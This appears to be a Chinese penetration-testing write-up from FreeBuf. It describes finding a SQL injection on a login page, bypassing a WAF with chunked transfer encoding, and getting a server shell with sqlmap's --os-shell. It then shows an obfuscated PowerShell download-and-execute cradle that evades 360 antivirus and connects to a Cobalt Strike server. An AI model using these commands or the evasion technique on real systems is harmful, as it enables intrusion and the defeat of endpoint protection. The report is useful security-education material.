记一次渗透测试过程
2021-11-24 15:40:31 Author: www.freebuf.com(查看原文) 阅读量:59 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

收到某某测试任务,然后有了下面这一篇关于分块传输sql注入payload姿势分享以及绕过杀软上线的文章。

在对某个网站进行渗透测试时,发现一个登陆界面,在尝试弱口令无果后,加个单引号发现报错了,按照以往的经验,这个登陆界面大概率是存在注入漏洞的。v2-44256aa5baaa1cc800858959fda99326_1440w.png

尝试利用报错注入,直接获取到数据库名称,这一看注入不就是有了吗(这里构造万能密码进行登录绕过,发现行不通),看看使用sqlmap能不能直接获取到服务器权限。

v2-2f11aec682458a1e5872691dfa8f3a46_1440w.png

然而使用sqlmap并没有跑出来注入,不知道是什么情况,这里怀疑是网站对某些关键字符进行过滤拦截了,尝试使用分块传输进行绕过。

这里稍微说一下分块传输的原理:

  • 在头部加入 Transfer-Encoding: chunked 之后,就代表该报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。
  • 使用分块后,默认的请求包头数据会增加请求头,告诉服务器将要用分块传输,语句经过拆分,变为零碎的数据包,WAF检测机制就不会认为此语句是一个危险的代码,在分块传输的数据包没有完全传完的时候,服务器是不做任何响应,等到全部传完后,在后台进行完整的语句拼接,带入数据库查询,从而绕过WAF的限制。
  • 简单的来说就是把数据包分成一块一块的传过去,从而来骗过WAF。

在burp上直接利用chunked-coding-converter插件进行测试,发现分块传输是可行的。

v2-c7d4b08932fa8dfcdbcdcb4cc5c36295_1440w.png

那就直接使用sqlmap将流量代理到burp上使用分块传输进行绕过,成功获取到服务器权限:

sqlmap -r sql.txt --proxy=http://127.0.0.1:8080 --level 5 --os-shell --thread 5 

v2-122e5c6eea4932c2ebfe6c4cf4fa8a68_1440w.png

已经获取到了服务器权限,经测试发现目标主机可以出网,那就可以直接上线了,在上线之前先查看一下主机进程发现存在360杀毒。

v2-d93165ba3425afc162177b8ecf3a1478_1440w.png

这个时候想上线,肯定是要想办法绕过360的,这里使用CS来生产powershell脚本,对命令进行格式运算符混淆一下来绕过杀软。

&("{1}{0}" -f 'ami','who')   #执行whoami

v2-f7c87b1be61ff5c44752a847342970de_1440w.png

powershell.exe -nop -c "&('{1}{0}' -f 'EX','I')(&('{1}{0}{2}' -f 'Obje','New-','ct')('{1}{4}{3}{0}{2}' -f'Clie','N','nt','t.Web','e')).('{1}{3}{0}{2}' -f 'trin','Downl','g','oadS').Invoke(('{1}{5}{2}{4}{3}{0}' -f 'x','xx','x','xxx','xxx','xxx'))" 

v2-c90f1ea6e8ab08c576a47a9fa1467c66_1440w.png

成功绕过杀软上线成功。

v2-d405f8ca6d7f4f22844c74eb0d280bca_1440w.png


文章来源: https://www.freebuf.com/articles/web/305800.html
如有侵权请联系:admin#unsafe.sh